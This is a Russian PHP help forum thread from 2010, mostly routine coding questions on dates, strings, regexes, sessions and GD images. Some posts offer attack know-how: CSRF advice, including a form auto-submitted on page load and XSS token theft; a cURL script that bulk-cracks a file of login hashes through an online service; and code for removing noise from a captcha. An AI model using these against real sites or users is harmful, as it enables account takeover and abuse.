не подскажите как перевести дату: 05.01.2010 -> 2010-01-05 ?

Extremal
06.05.2010, 07:21
<?php
$data = explode('.','05.01.2010');
echo $data[2].".".$data[1].".".$data[0];
?>

krypt3r
06.05.2010, 07:33
$date = '05.01.2010';
echo strftime ('%Y-%m-%d', strtotime ($date));

ZnikiR
06.05.2010, 09:23
Спасибо за помощь.

<?php

$filename = "new.txt";
$text =file($filename);

$result = array_unique($text);
$fd = fopen($filename, "w");
fwrite($fd, implode( $result));
fclose($fd);
?>

Qb1024
06.05.2010, 19:20
Вопрос такой: я выполняю код echo date("j.m.Y H:i:s", 1273158895); на сервере в Америке и в России и получаю разные даты. Понятно, что это зависит от часового пояса. А нет ли команды, чтобы насильно указать date(), что мне нужно московское время?

Deathdreams
06.05.2010, 22:48
Вопрос такой: я выполняю код echo date("j.m.Y H:i:s", 1273158895); на сервере в Америке и в России и получаю разные даты. Понятно, что это зависит от часового пояса. А нет ли команды, чтобы насильно указать date(), что мне нужно московское время?
date( "j.m.Y H:i:s", strtotime("+1 hour", 1273158895) );

+1 - количество часов.

krypt3r
07.05.2010, 07:06
А нет ли команды, чтобы насильно указать date(), что мне нужно московское время?


date_default_timezone_set ('Europe/Moscow');

yuyushin
07.05.2010, 12:30
Я новичок в пхп. Решил написать игру :-) Возникло несколько вопросов.
1) Есть 2 значения - nowlives и maxlives. Как сделать, чтобы если nowlives<maxlives, то nowlives постепенно восстанавливается до maxlives?
2) Как сделать при получении определенного количества опыта переход на следующий уровень?
3) Если только что был бой - как сделать так, чтобы 15 минут нельзя было драться?
Заранее благодарю за ответы:)

FindeR
07.05.2010, 13:07
Хорошее начало :))

1) a) Связка php+ajax. В php-скрипте пишем что-то типа
if (nowlives < maxlives) {nowlives++}
И вешаем на определённое событие отправку запроса аяксом к этому скрипту.

b) На Javascript через setTimeout проверяем nowlives, опять же, увеличиваем, если < нужного.

2) if (exp == [n]) {lvlUP();}

3) Сразу после боя записываешь в $_SESSION['battle_time'] время окончания битвы (удобнее в unix-time). При попытке боя проверяешь разницу во времени - [текущее - battle_time]

yuyushin
07.05.2010, 13:56
С пунктами 2 и 3 понятно, а про 1b можно поподробнее?
Upd: Уже понял :)

dehis12
07.05.2010, 20:10
<td><b>&nbsp;Сумма </b><b style="color: rgb(160, 0, 0);">(Сколько бонусов поменять на золото)</b></td>
<td><input name="sum" size="8" maxlength="3" onkeypress="recalcsum(this.value)" onkeyup="recalcsum(this.value)" onkeydown="recalcsum(this.value)"

onclick="recalcsum(this.value)" onchange="recalcsum(this.value)" type="text"></td>
</tr>
<tr height="25">
<td><b>&nbsp;Вы получите (золотых)</b></td>

<td><b><span id="receiv">0.00</span></b></td>
</tr>

Вот код, мне надо в поле ввода, после "Сумма (Сколько бонусов поменять на золото)" , поставил " maxlength="3" ,т.е значение 3 цифры или буквы ,но мне надо поставить значения цифр ограничить ,чтоб ставилось от 0 до 500 ,символы неважно.

ЗЫ заранее спасибо

Gray_Wolf
07.05.2010, 20:14
<td><b>&nbsp;Сумма </b><b style="color: rgb(160, 0, 0);">(Сколько бонусов поменять на золото)</b></td>
<td><input name="sum" size="8" maxlength="3" onkeypress="recalcsum(this.value)" onkeyup="recalcsum(this.value)" onkeydown="recalcsum(this.value)"

onclick="recalcsum(this.value)" onchange="recalcsum(this.value)" type="text"></td>
</tr>
<tr height="25">
<td><b>&nbsp;Вы получите (золотых)</b></td>

<td><b><span id="receiv">0.00</span></b></td>
</tr>

Вот код, мне надо в поле ввода, после "Сумма (Сколько бонусов поменять на золото)" , поставил " maxlength="3" ,т.е значение 3 цифры или буквы ,но мне надо поставить значения цифр ограничить ,чтоб ставилось от 0 до 500 ,символы неважно.

ЗЫ заранее спасибо
Ну у тебя же есть событие onkeypress, вот и смотри в JS'e какую кнопку нажали. И если символ тебя не устраивает убирай его из поля...

dehis12
07.05.2010, 20:18
Ну у тебя же есть событие onkeypress, вот и смотри в JS'e какую кнопку нажали. И если символ тебя не устраивает убирай его из поля...

хм, можно поподробней как-то?

olishort
07.05.2010, 20:33
<td><b>&nbsp;Сумма </b><b style="color: rgb(160, 0, 0);">(Сколько бонусов поменять на золото)</b></td>
<td><input name="sum" size="8" maxlength="3" onkeypress="recalcsum(this.value)" onkeyup="recalcsum(this.value)" onkeydown="recalcsum(this.value)"

onclick="recalcsum(this.value)" onchange="recalcsum(this.value)" type="text"></td>
</tr>
<tr height="25">
<td><b>&nbsp;Вы получите (золотых)</b></td>

<td><b><span id="receiv">0.00</span></b></td>
</tr>

Вот код, мне надо в поле ввода, после "Сумма (Сколько бонусов поменять на золото)" , поставил " maxlength="3" ,т.е значение 3 цифры или буквы ,но мне надо поставить значения цифр ограничить ,чтоб ставилось от 0 до 500 ,символы неважно.

ЗЫ заранее спасибо

не заморачивайся с голым js, используй jquery

dehis12
07.05.2010, 21:05
кому не сложно, сделайте код как надо или дайте js и куда его вставлять, с меня +

Spy2ex
07.05.2010, 23:27
Проблема с рег. выражн.

делаю так

$source = 'dasdasdkjasjk asldkas;ldlasd askdjaslkdjasl lasdkj;lasdjl www10.subdomain.com jasdhkjsahd лофырвлофырв лофыр';

preg_match_all('#(www[0-9]{1,2}\.subdomain\.com)#',$source,$m);

echo $m;



хочу достать 'www10.subdomain.com'

Но ничего не получается, хотя The Regex Coach - говорит что все нормально.

Подскажите.

Compton
07.05.2010, 23:47
echo $m[1][0];

Vers
07.05.2010, 23:51
Привет всем !
Интересует такая вещь , где мне взять названия всех функций и их значения в пхп?

phpdreamer
07.05.2010, 23:57
Проблема с рег. выражн.

делаю так

$source = 'dasdasdkjasjk asldkas;ldlasd askdjaslkdjasl lasdkj;lasdjl www10.subdomain.com jasdhkjsahd лофырвлофырв лофыр';

preg_match_all('#(www[0-9]{1,2}\.subdomain\.com)#',$source,$m);

echo $m;



хочу достать 'www10.subdomain.com'

Но ничего не получается, хотя The Regex Coach - говорит что все нормально.

Подскажите.

$source = 'dasdasdkjasjk asldkas;ldlasd askdjaslkdjasl lasdkj;lasdjl www10.subdomain.com jasdhkjsahd лофырвлофырв лофыр';
preg_match_all('/www[0-9]{1,2}.subdomain.com/',$source,$m);
print_r( $m[0]);

Gray_Wolf
07.05.2010, 23:58
Привет всем !
Интересует такая вещь , где мне взять названия всех функций и их значения в пхп?
Начинай отсюда: http://ru.php.net/manual/en/funcref.php

Spy2ex
07.05.2010, 23:58
Привет всем !
Интересует такая вещь , где мне взять названия всех функций и их значения в пхп?

http://www.php.su/functions/?page=abc
Смотри

phpdreamer
07.05.2010, 23:59
Привет всем !
Интересует такая вещь , где мне взять названия всех функций и их значения в пхп?
http://php.su/functions/

restart_05
08.05.2010, 19:48
Есть таблица со строкой name. В ней находятся числа через запятую 1,5,54,234 и т.д. Как средствами php можно удалить число 54 из данной строки.

m0Hze
08.05.2010, 19:51
Есть таблица со строкой name. В ней находятся числа через запятую 1,5,54,234 и т.д. Как средствами php можно удалить число 54 из данной строки.
$string = '1,2,3,4,5,5,6,7,7,777,76';
$need = 777;
$return = str_replace($need.',','',$str);
echo $return;

restart_05
08.05.2010, 20:07
спс

SeNaP
08.05.2010, 20:15
Добрый вечер
http://s58.radikal.ru/i159/1005/46/2442bd3a66d4.png

какой будет правильный ответ, а то что то я запутался :o
Или может быть, все 3 варианта не правильных ?

Хотя, да, скорее всего 3 вариант, просто меня в нём смущало, то , что как можно символ увеличить на 1

$a = "b";
$a++;
echo $a; //выведет c



$a = "@";
$a++;
echo $a; // Выведет @ (не изменится)

Спасибо мелкий :)

SeNaP
09.05.2010, 18:21
Это опять я :o
Поставил на windos 7 appserv
Пробую запустить PHP CLI, но перед этим я закинул в папку system32 файл
php_mbstring.dll.
В общем появляется такая ошибка

http://s57.radikal.ru/i155/1005/67/1cf7d94ab5a7.png

Может быть кто встречался с такой же проблемой?

restart_05
09.05.2010, 20:28
$string = '1,2,3,4,5,5,6,7,7,777,76';
$need = 777;
$return = str_replace($need.',','',$str);
echo $return;
m0Hze, а вот как удалить последний символ

$return = str_replace(','.$need,'',$str);

Пробовал так, чет не хочет удалять

WNZRS
09.05.2010, 20:32
мб
$return = str_replace(','.$need,'',$string);

restart_05
09.05.2010, 20:33
Ну эт самом собой )), удаляет если 2 символа 23,32, а уже если 23,32,13 не удаляет :(

WNZRS
09.05.2010, 20:40
$str= '1,2,3,4,5,5,6,7,7,777,76';
$need = 777;
$array = explode(',', $str);
$size = sizeof($array);
$minus = 0;
for($i=0; $i<$size; $i++)
{
if($need == $array[$i])
{
unset($array[$i]);
$minus--;
}
else if($minus < 0)
$array[$i+$minus] = $array[$i];
}
$return = implode(',', $array);
echo $return;

restart_05
09.05.2010, 20:59
Не работает

WNZRS
09.05.2010, 21:10
Работает, но немного криво. Так лучше:
<?php
$str= '1,2,3,4,5,5,6,7,7,777,76';
$need = 777;
$array = explode(',', $str);
$size = sizeof($array);
$minus = 0;

for($i=0; $i<$size; $i++)
{
if($need == $array[$i])
{
unset($array[$i]);
$minus--;
}
else if($minus < 0)
{
$array[$i+$minus] = $array[$i];
unset($array[$i]);
}
}

$return = implode(',', $array);
echo $return;
?>

да я скрипт m0Hze тоже работает

restart_05
09.05.2010, 21:23
m0Hze работает я не отрицаю, но вот последние чет не удаляет..

restart_05
09.05.2010, 22:19
Поправил :) Спасибо всем!

Gifts
09.05.2010, 23:12
SeNaP Вообще-то второй вариант не выведет никогда строку хелло. Переменная $a не может быть больше либо равна 1 и при этом выполнится !isset()

roxblnfk
10.05.2010, 02:56
ну вы даёте :)

> Есть таблица со строкой name. В ней находятся числа через запятую 1,5,54,234 и т.д. Как средствами php можно удалить число 54 из данной строки.

m0Hze, кодом
$return = str_replace($need.',','',$str);
ты можешь удалить что надо + обрезать похожее на него, например в строке $str='1,2,3,12,13,23'; надо удалить $need='2';
В итоге будет 1,3,113,23 (откуда тут 113 оО? и почему вместо пяти чисел тут их четыре..)
Ну и, как было замечено, число в конце строки не удаляет.

WNZRS, ты вобще извращенец :) перевести строку в массив уже другая методика,
но зачем перебирать массив и выравнивать ключи вручную, когда есть стандарные функции?
зачем делать чтото типа
$array[$i+$minus] = $array[$i]; , если после всех операций по удалению можно заюзать, например, array_values() и взять индексный массив
(только зачем это надо, если implode() работает с ассоциативными массивами?)

Можно исправить скрипт m0Hze, например, изменив так:
было: $return = str_replace($need.',','',$str);
стало: $return = substr(str_replace(','.$need.',',',',','.$str.',') ,1,-1);
(но в учёт того, что я не знаю, как работает str_replace на низком уровне, а разбираться лень, то для гарантии того, что будут вырезаны ВСЕ требуемые числа, даже записанные подряд, можно использовать функцию два раза сразу)
$return = substr(str_replace(','.$need.',',',',str_replace(' ,'.$need.',',',',','.$str.',')),1,-1);
(тут в кавычках 2 пробела сами появляются, их убить надо :) )
или $return = substr(str_replace(array(','.$need.',',','.$need.' ,'),',',','.$str.','),1,-1);

LStr1ke
10.05.2010, 08:19
А так можно?

<?php
$string = "1,5,154,32,123,132";
$need = "32";
echo preg_replace("#(^\d|\,|^)".$need."(\,|^|^\d)#",",",$string);
?>

roxblnfk
10.05.2010, 13:33
LStr1ke, не знаю, зачем ты полез в регулярки, это же всё медленнее работает.
Но, если следовать твоим суждениям унифицировать алгоритм под любой разделитель, то проще написать в регулярках.
Допустим. Даже не смотря на кривость того, что если разделитель будет не запятой, то при замене числа на его месте появится именно запятая :)
Признаюсь, я плохо шарю в регулярках, поэтому, если это твой код, задам тебе вопрос:
из твоей регулярки "#(^\d|\,|^)".$need."(\,|^|^\d)#"
что означает |^ во второй скобке? т.е. неэкранированный символ ^ в начале выбора без дальнейших символов.. (в первой скобке такой вариант чудом помогает убить нужное число в начале строки :) )
в первых скобках у тебя ^\d для чего? :) возьми строку $string = "132,1,5,154,32,123,32"; и эта последовательность уничтожит 132
В конце строки число 32 твоим алгоритмом не убивается.

На мой взгляд, регулярки надо использовать только тогда, когда без них никак (т.е. можно, но не выгодно ни по времени коддинга ни по производительности)
Вобщем, вот мой вариант, где разделяющие символы - любые, кроме десятичных цифр, и заменено оно будет на левый разделитель от данного числа
echo substr(preg_replace("/(\D)".intval($need)."(\D)/","\${1}",'®'.$string."\n"),1,-1);
И опять же, функцию надо будет взять не один раз, т.к. строку $string = "1^5^154^32^32^123^132"; полностью от числел 32 она не очистит за 1 раз
(либо править регулярку на подобные нонсенсы, либо брать функцию дважды, а то и трижды :) вобщем по циклу через while... но это если число более 3х раз подряд в строке, тут проще разбить на массив)
так на строку $string = "32б1^5-154^32 32,32х32 32=32_32!32й123^132ы32"; нужно применить функцию 4 раза :)

остался ещё вариант перебора строки по байтам, этого ещё ни кто не предложил :) хотя самый эффективный метод, имхо

AtomoS
10.05.2010, 15:45
существует алгоритм, который добавляет в переменную данные:
$error .= 'Вы уже полчили бонус за голос за '.$time.'<br/>';
после добавление всё это дело выводится через echo и получается следушая картина:Вы уже полчили бонус за голос за 2010-05-10
Вы уже полчили бонус за голос за 2010-05-09
Вы уже полчили бонус за голос за 2010-05-08
а теперь вопрос как мне вывести только 1ую надпись?Вы уже полчили бонус за голос за 2010-05-10

zavra
10.05.2010, 15:54
привет! мне нужно сделать, чтобы когда человек заходил на страницу, отправлялся бы запрос на другой сервер, и действие на том сервере приосходило бы от его имени. например, в случае с ГЕТом, можно добавить ссылку на изображение вида "vk.com/change_settings.php?name=lol". можно как-то так же просто сделать это через ПОСТ, будет ли CURL работать в данном случае (ведь вроде как тогда запрос будет идти от сервера, а не от пользователя)?

wildshaman
10.05.2010, 15:58
Курл не пройдет.
Обычный гет тоже не пройдет, везде нужны хеши.
Надо иметь пассивную XSS и написать скрипт, который сам будет выдирать хеш, подставлять и делать запрос - все через пассивку.

zavra
10.05.2010, 16:32
там нету хэша, я не про контакт, просто для примера.
есть вариант сделать флешку, впринципе просто, но слишком палевно

Kusto
10.05.2010, 16:39
там нету хэша, я не про контакт, просто для примера.
есть вариант сделать флешку, впринципе просто, но слишком палевно
блин ты спрашиваеш про обыкновенное csrf здесьб почитай что умные люди пишут)))) http://www.inattack.ru/article/552.html

mailbrush
10.05.2010, 17:02
zavra, попробуй создай форму с экшном куда тебе нужно. И в событии onload страницы делай сабмит этой формы...

foxxx1234
10.05.2010, 22:54
В общем есть скрипт который копирует альбомы из группы вк. Проблема в том, что копирует он только первые 20 фотографий из каждого альбома.
Помогите подправить чтобы копировал весь альбом.

Вот ссылка на сам скрипт.

http://slil.ru/29109993

SeNaP
11.05.2010, 15:19
Почему вот этот код в Ubuntu через php-cli выполняется нормально

<?php
set_time_limit(0);
$file = file("basewebstream.txt");
$fp = fopen("result.txt","a");

function chek($exp){
global $expl;
global $i;
global $fp;
global $s;
$ch = curl_init("http://crackfor.me");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Извените но я бот :)");
$headers = array
(
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8',
'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
'Accept-Encoding: deflate',
'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'
);
curl_setopt($ch, CURLOPT_HTTPHEADER,$headers);

curl_setopt($ch, CURLOPT_POSTFIELDS, 'hash='.$exp.'&act=find');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
preg_match('#<b>(.*)</b>#iU',$result,$res[$i]);
if(!preg_match("#-#i",$res[$i][1])){
print $expl[2].":".$res[$i][1]."\n";
print "Всего Гудов:".$s."\n";
$s++;
fwrite($fp,$expl[2].":".$res[$i][1]."\n");
}

curl_close($ch);

}
/////////////////////////////////////
$i = 0;
$r = 0;
$s = 1;
foreach($file as $pass){
$expl = explode(":",$pass);

$expl[2] = str_replace("\n","",$expl[2]);
$expl[2] = str_replace("\r","",$expl[2]);
$expl[2] = str_replace("\t","",$expl[2]);

chek($expl[1]);
$i++;
}
fclose($fp);

?>

А в Windows7 через php-cli просто не хочет.
Пробую запускаю

C:\Users\Senap\>php pars.php

И возвращает

C:\Users\Senap\>

И result.txt пустой
то время как

<?php echo "TEST CLI"; ?>

Выодит TEST CLI
Т.е. php-cli работает, а скрипт запускаться не чохет :(

Failure
11.05.2010, 15:45
А в Windows7 через php-cli просто не хочет.

курл на винде установлен?

z-kzn-z
11.05.2010, 15:47
SeNaP, а в Windows 7 в php расширение curl стоит/включено? и включен ли вывод ошибок в php.ini? (странно, что в таком случае нет ошибок даже)..

SeNaP
11.05.2010, 15:49
http://localhost/tes.php

<?php
$ch = curl_init('http://php.su');
curl_exec($ch); // выполняем запрос curl - обращаемся к сервера php.su
curl_close($ch);
?>


Работет.
И ошибки тоже выводятся.
:confused:

manningaon
11.05.2010, 20:26
есть ли скрипт, который сайт со статикой поисковым роботам давай информацию что сайт динамический

programming
11.05.2010, 20:35
Каким образом можно к определённой странице запретить доступ определённому ip, который выполнил некоторые действия? Точнее не запретить, а просто выводить некое сообщение.
Запись в бд ip и затем извлечение от туда не катит.

Failure
11.05.2010, 21:05
2 SeNaP
в скрипте set_time_limit(0) убери, и увидишь в чем трабл

2 programming
ну если этакая защита не критична, то как вариант при заходе на страницу присваивать куку, и проверять если она есть то ..., а если нет - то...

<?php
if(isset($_COOKIE['ban'])) die('Сори, вы тут уже были');
else setcookie('ban', true, time()+3600); //1 час
....
?>


ну а если критично то записывать ип в файл/бд, и проверять каждый раз при заходе на страницу.

SeNaP
11.05.2010, 21:21
$a = 2; // integer
$a = '2'; - тоже integer?

Failure
11.05.2010, 21:42
<?php
$a = 2;
var_dump($a);
$a = '2';
var_dump($a);
?>

результат

int(2)
string(1) "2"

=\ мб попробуешь в начале на php.net искать, а потом тут?

foxxx1234
11.05.2010, 22:20
Подскажите как сделать чтобы этот скрипт

$ret=$s->get("/album-{$gid}_{$albumid}",'st=$st',$cook,"http://vkontakte.ru/club$gid");
$ret=$ret[1];
preg_match_all('#href="/photo-.+_(.*?)">#',$ret,$ph);
preg_match_all('#st=(\d+)#',$ret,$st);
if(empty($ph[1]))
{
print_flush('Альбом пуст.');
}
else
{

for($i=0,$cnt=count($ph[1]);$i<$cnt;$i++)
{
fputs($text,$descr[1][$i]);

print_flush('Найдено фото id='.$ph[1][$i].', получение...',0);
if(in_array("group/$gid/$alb/{$gid}_{$ph[1][$i]}.jpg",$photos))
{
print_flush('Такое фото уже сохранено.');
continue;
}

$photos[]="{$gid}_{$ph[1][$i]}.jpg";

$ret=$s->get("/photo-{$gid}_{$ph[1][$i]}",'',$cook,"http://vkontakte.ru/club$gid");

if(!preg_match('/id="myphotolink"><img src="http:\/\/(.+)" id/isU',$ret[1],$fm))
{
print_flush('Фото не найдено.');
continue;
}


preg_match('/(.+)\/(.+)$/isU',$fm[1],$faddr);

$s2=new websock($faddr[1],80,0);
$ret=$s2->get('/'.$faddr[2],'',$cook,"http://vkontakte.ru/");
unset($s2);

$f2=fopen("group/$gid/$alb/{$gid}_{$ph[1][$i]}.jpg","w");
if(!$f2)
{
print_flush('Не удалось создать файл.');
}
else
{
fputs($f2,$ret[1]);
fclose($f2);
}

print_flush('Готово');
}
}


print_flush('Список фотографий сохранен.');






Повторялся например 5 раз и $st увеличивалас на 20

phpdreamer
11.05.2010, 22:36
$st это многомерный массив с результатами выборки по регулярному выражению...
как ты его собираешься увеличивать?

geforce
13.05.2010, 21:50
$a = 2; // integer
$a = '2'; - тоже integer?

нет это уже string!
почитай про setype();

Пример!


$a = '1'; //string
setype($a, 'integer'); //перевод в integer

real_kas
14.05.2010, 14:49
А возможно ли сопоставить дни недель так, чтобы к примеру дни начиная с первого сентября (с 1 сен до субб (включительно)) были например верхней неделей, а со следующего понедельника по субботу - нижней неделей. И так далее, до мая.

Как сопоставить все дни, исходя из начальной даты (первого сентября)?

Есть ли у кого идеи?

real_kas
14.05.2010, 17:22
Пришлось коноё**ться через одно место типа:


<?php
$year = date("Y");
$month = date("M");
//$day= date("d");
//echo $month;

if($year == 2010) {

if($month == May) {
if ($day == 1 || $day >= 10 && $day <= 15 || $day >= 24 && $day <= 29) echo "<h1>B</h1>";
if ($day >= 3 && $day <= 8 || $day >= 17 && $day <= 22 || $day == 31) echo "<h1>H</h1>";
}

if($month == Jun) {
if ($day >= 1 && $day <= 5 || $day >= 14 && $day <= 19 || $day >= 28 && $day <= 30) echo "<h1>H</h1>";
if ($day >= 7 && $day <= 12 || $day >= 21 && $day <= 26) echo "<h1>B</h1>";
}

if($month == Sep) {
if ($day >= 1 && $day <= 4 || $day >= 13 && $day <= 18 || $day >= 27 && $day <= 30) echo "<h1>B</h1>";
if ($day >= 6 && $day <= 11 || $day >= 20 && $day <= 25) echo "<h1>H</h1>";
}

if($month == Oct) {
if ($day >= 1 && $day <= 2 || $day >= 11 && $day <= 16 || $day >= 25 && $day <= 30) echo "<h1>B</h1>";
if ($day >= 4 && $day <= 9 || $day >= 18 && $day <= 23) echo "<h1>H</h1>";
}

if($month == Nov) {
if ($day >= 1 && $day <= 6 || $day >= 15 && $day <= 20|| $day >= 29 && $day <= 30) echo "<h1>H</h1>";
if ($day >= 8 && $day <= 13 || $day >= 22 && $day <= 27) echo "<h1>B</h1>";
}

if($month == Dec) {
if ($day >= 1 && $day <= 4 || $day >= 13 && $day <= 18|| $day >= 27 && $day <= 31) echo "<h1>H</h1>";
if ($day >= 6 && $day <= 11 || $day >= 22 && $day <= 27) echo "<h1>B</h1>";
}

}//end 2010

SeNaP
14.05.2010, 22:32
switch($page){
case 'trtrtr':
print_r($array);
break;

case 'ususus':
for($i = 0; $i<=2; $i++){
$array[$i] = 'test';
}
break;
}

В page=ususus
Заполняется массив.
А как потом обратиться из page=trtrtr
к массиву $array ?
Подскажите пожалуйста

Failure
14.05.2010, 22:59
не совсем понял, что ты подразумеваешь, под обращением к массиву? print_r это и есть обращение =\

<?php
switch($page){
case 'trtrtr':
foreach($array as $key=>$value)
echo $key.") ".$value."<br>\n";
break;

case 'ususus':
$array = array_fill(0,2, 'test');
break;
}
?>

SeNaP
14.05.2010, 23:02
Проблема в том, что массив как бэ пустой в case 'trtrtr':

Warning: Invalid argument supplied for foreach() in

Failure
14.05.2010, 23:18
Естественно если $page меняется при GET/POST запросе то $array будет пуст.
Если тебе надо что бы увидеть его можно было только после просмотра ususus
то для этого есть куки/сессии. Представим что нам плевать на юзабилити, и вообще мы больные люди, будет примерно так:

<?php
session_start();
$array = array_fill(0, 2, 'test');
...
switch($page) {
case 'trtrtr':
if($_SESSION['can_look'] == 1) print_r($array);
else echo "не не, ты с начало ususus посмотри";
break;

case 'ususus':
$_SESSION['can_look'] = 1;
break;
}
?>

#Wolf#
15.05.2010, 13:59
function num($n,$val){
$i=0;
$n=str_split($n);
$count=count($n);
$col=$count-$val;
while($count!=$col){
$a[$i]=$n[$count-1];$count--;$i++;
}
array_reverse($a);
foreach($a as $v) $num.=$v;
return $num;
}

$n=123456;
$val=2;
функция вернет 56.
ну я думаю смысл понятен. возвращает $val строк с конца $n.
можно ли это было сделать рациональней/короче/лучше?

Kaimi
15.05.2010, 14:07
$n=123456;
$val=2;

print substr($n, -$val);

geforse
15.05.2010, 21:57
Как, с помощью gd library, закрасить чёрным цветом определённый участок изображения ? (например нижний правый угол)

Joker-jar
15.05.2010, 22:58
geforce, если участок прямоугольный, то imagefilledrectangle (http://php.net/imagefilledrectangle)

Gifts
15.05.2010, 23:14
ZenstatioN всегда сохранять дату последнего логина и делать выборку по дате

#Wolf# для текста - написал Kaimi, для чисел:
$n=123456;
$val=2;
return $n % pow(10, $val);

Исправлено, спасибо roxblnfk

geforce
16.05.2010, 02:03
Как, с помощью gd library, закрасить чёрным цветом определённый участок изображения ? (например нижний правый угол)



$im = imagecreatetruecolor($width, $heigth);
$im1 = imagecreatefromjpeg('картинка с чёрным.jpg');
imagecopy($im,$im1, кординаты в каком месте её лепить);

geforse
16.05.2010, 09:55
Joker-jar,geforce спасибо :)

Ещё вопрос. Есть уже готовый "велосипед" для распознавания текста (простой белый текст, на чёрном фоне) ?

roxblnfk
16.05.2010, 11:43
ZenstatioN всегда сохранять дату последнего логина и делать выборку по дате

#Wolf# для текста - написал Kaimi, для чисел:
$n=123456;
$val=2;
return $n % ($val*10);

надо 10 не умножать на число а в степень возводить
$n=123456;
$val=2;
echo $n % pow(10,$val);

KrafT
16.05.2010, 14:27
Народ помогите плз убрать с капчи шум... http://www.image123.net/thumbs/20100516/49egv6cuqcac.jpg

roxblnfk
16.05.2010, 14:57
KrafT, почему тут пишешь? тебе это на php надо, используя gd?
Как ты себе это представляешь?
Вот мой вариант:
1. если решетка накладывается по одному и тому же закону (статична на всех капчах), то её можно залить цветом фона, при этом символы будут изрешечены уже белой решеткой :)
можно по циклу залить белые пиксели, которые с >=(5~6) сторон (из 8) окружены чёрными, тем самым местами докрасить символы.
2. если шум всегда разный, то нужно уничтожать [не белые] пиксели, у которых в любом из направлений нету "соседей" а после этого уничтожать малые кучности.

вобщем, как не крути, подобное снуля писать за спасибо ни кто не будет, имхо

geforce
16.05.2010, 15:25
Народ помогите плз убрать с капчи шум... http://www.image123.net/thumbs/20100516/49egv6cuqcac.jpg
покажи код этой капчи?

wildshaman
16.05.2010, 16:13
Да, пкажи, откуда капча, стало интересно

KrafT
16.05.2010, 16:24
KrafT, почему тут пишешь? тебе это на php надо, используя gd?
Как ты себе это представляешь?
Вот мой вариант:
1. если решетка накладывается по одному и тому же закону (статична на всех капчах), то её можно залить цветом фона, при этом символы будут изрешечены уже белой решеткой :)
можно по циклу залить белые пиксели, которые с >=(5~6) сторон (из 8) окружены чёрными, тем самым местами докрасить символы.
2. если шум всегда разный, то нужно уничтожать [не белые] пиксели, у которых в любом из направлений нету "соседей" а после этого уничтожать малые кучности.

вобщем, как не крути, подобное снуля писать за спасибо ни кто не будет, имхо
Cпасибо за инфу... да полосы меняются. Это а можэте написать пример тип чтоб он фсе цвета которые я назначил он их перекрашывал в чорный.. прост седня я второй день этим занимаюсь и ешё мало чо понимаю Подскажыте как дапустем зделать допустем по коардинатам 1 . 1 вот я вол цвет и он в етом пиксели искал близко указаный мною цвет тойсть не именно тот а он можэт отличатса или из списка цветов искал цвета в том пиксели ...

KrafT
16.05.2010, 16:27
покажи код этой капчи?
Сори немогу =[[

roxblnfk
16.05.2010, 16:49
Есть вариант перебрать картинку по пикселям и закрасить все пиксели, которые не удовлетворяют условию. Например, если красный, зеленый и синий цвета меньше 128 (строка условия if($r<128 || $g<128 || $b<128)…):
<?php
header("Content-type: image/gif");
$im = ImageCreateFromJpeg("kartinka.jpg");
$W=imagesx($im);
$H=imagesy($im);
$black=imagecolorallocate($im,0,0,0);
for($i=0;$i<$W;$i++){
for($j=0;$j<$H;$j++){
$rgb = ImageColorAt($im, $i, $j);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
if($r<128 || $g<128 || $b<128) imagesetpixel($im,$i,$j,$black);
}
}
imagegif($im);
imagedestroy($im);
?>

KrafT
16.05.2010, 16:55
Есть вариант перебрать картинку по пикселям и закрасить все пиксели, которые не удовлетворяют условию. Например, если красный, зеленый и синий цвета меньше 128 (строка условия if($r<128 || $g<128 || $b<128)…):
<?php
header("Content-type: image/gif");
$im = ImageCreateFromJpeg("kartinka.jpg");
$W=imagesx($im);
$H=imagesy($im);
$black=imagecolorallocate($im,0,0,0);
for($i=0;$i<$W;$i++){
for($j=0;$j<$H;$j++){
$rgb = ImageColorAt($im, $i, $j);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
if($r<128 || $g<128 || $b<128) imagesetpixel($im,$i,$j,$black);
}
}
imagegif($im);
imagedestroy($im);
?>
Спасибо :) ++

wildshaman
16.05.2010, 17:37
Я тут тоже поизвращался...

<?php
function getrgb($var)
{
$r = ($var >> 16) & 0xFF;
$g = ($var >> 8) & 0xFF;
$b = $var & 0xFF;
return $r+$g+$b;
}

$src = imagecreatefromjpeg("1.jpg");
$dest = imagecreatefromgif('2.gif');
$best=600;
$sm=3;
$width=imagesx($src);
$height=imagesy($src);
for ($w=0; $w<$width; $w++)
for ($h=0; $h<$height; $h++)
{
$rgb = imagecolorat($src, $w, $h);
$rgb_t = imagecolorat($src, $w, $h+$sm);
$rgb_b = imagecolorat($src, $w, $h-$sm);
$rgb_l = imagecolorat($src, $w-$sm, $h);
$rgb_r = imagecolorat($src, $w+$sm, $h);
if ((getrgb($rgb)<$best) and (getrgb($rgb_b)<$best) and (getrgb($rgb_t)<$best) and (getrgb($rgb_l)<$best))
imagecopymerge($dest, $src, $w, $h, $w, $h, 1, 1, 100);
}

header('Content-Type: image/gif');
imagegif($dest);

?>

Где 2.gif - существующая пикча размером с капчу
$sm - сколько близежащих пкселей заодно проверяется (1-4 лучше)
$best - цвет (300-900 тести сам)
Получается что-то вроде
http://img684.imageshack.us/img684/6337/123php.gif

KrafT
16.05.2010, 19:10
Я тут тоже поизвращался...

<?php
function getrgb($var)
{
$r = ($var >> 16) & 0xFF;
$g = ($var >> 8) & 0xFF;
$b = $var & 0xFF;
return $r+$g+$b;
}

$src = imagecreatefromjpeg("1.jpg");
$dest = imagecreatefromgif('2.gif');
$best=600;
$sm=3;
$width=imagesx($src);
$height=imagesy($src);
for ($w=0; $w<$width; $w++)
for ($h=0; $h<$height; $h++)
{
$rgb = imagecolorat($src, $w, $h);
$rgb_t = imagecolorat($src, $w, $h+$sm);
$rgb_b = imagecolorat($src, $w, $h-$sm);
$rgb_l = imagecolorat($src, $w-$sm, $h);
$rgb_r = imagecolorat($src, $w+$sm, $h);
if ((getrgb($rgb)<$best) and (getrgb($rgb_b)<$best) and (getrgb($rgb_t)<$best) and (getrgb($rgb_l)<$best))
imagecopymerge($dest, $src, $w, $h, $w, $h, 1, 1, 100);
}

